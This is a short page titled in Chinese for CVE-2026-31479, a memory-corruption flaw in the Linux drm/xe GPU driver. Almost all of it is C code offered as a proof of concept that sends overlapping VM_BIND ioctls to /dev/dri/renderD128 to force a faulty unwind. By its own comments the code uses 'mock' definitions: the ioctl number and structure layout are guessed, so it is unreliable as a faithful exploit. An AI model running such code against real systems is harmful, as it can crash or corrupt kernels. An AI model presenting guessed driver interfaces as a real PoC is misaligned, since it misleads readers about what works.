CVE-2026-31479: Linux内核drm/xe驱动内存损坏漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // Mock definitions based on typical xe driver structures #define DRM_IOCTL_XE_VM_BIND 0xc0 struct xe_vm_bind { __u64 addr; __u64 range; __u32 flags; __u32 handle; }; int main() { // PoC for CVE-2026-31479 // This attempts to trigger the VMA rebind/unwind logic error. int fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct xe_vm_bind bind_args; memset(&bind_args, 0, sizeof(bind_args)); // Step 1: Perform initial bind bind_args.addr = 0x1000; bind_args.range = 0x3000; ioctl(fd, DRM_IOCTL_XE_VM_BIND, &bind_args); // Step 2: Perform a rebind in the middle that overlaps compatible ends // and then trigger a failure mechanism to force unwind. bind_args.addr = 0x2000; bind_args.range = 0x1000; // Setting a flag or condition that might trigger the skip logic bind_args.flags = 0x1; // Step 3: Execute the IOCTL // If the driver hits the specific code path, it may trigger the WARNING // due to incorrect prev/next tracking during unwind. if (ioctl(fd, DRM_IOCTL_XE_VM_BIND, &bind_args) < 0) { perror("IOCTL failed (expected in some scenarios)"); } close(fd); printf("PoC executed. Check dmesg for WARNING in xe_vm.c\n"); return 0; }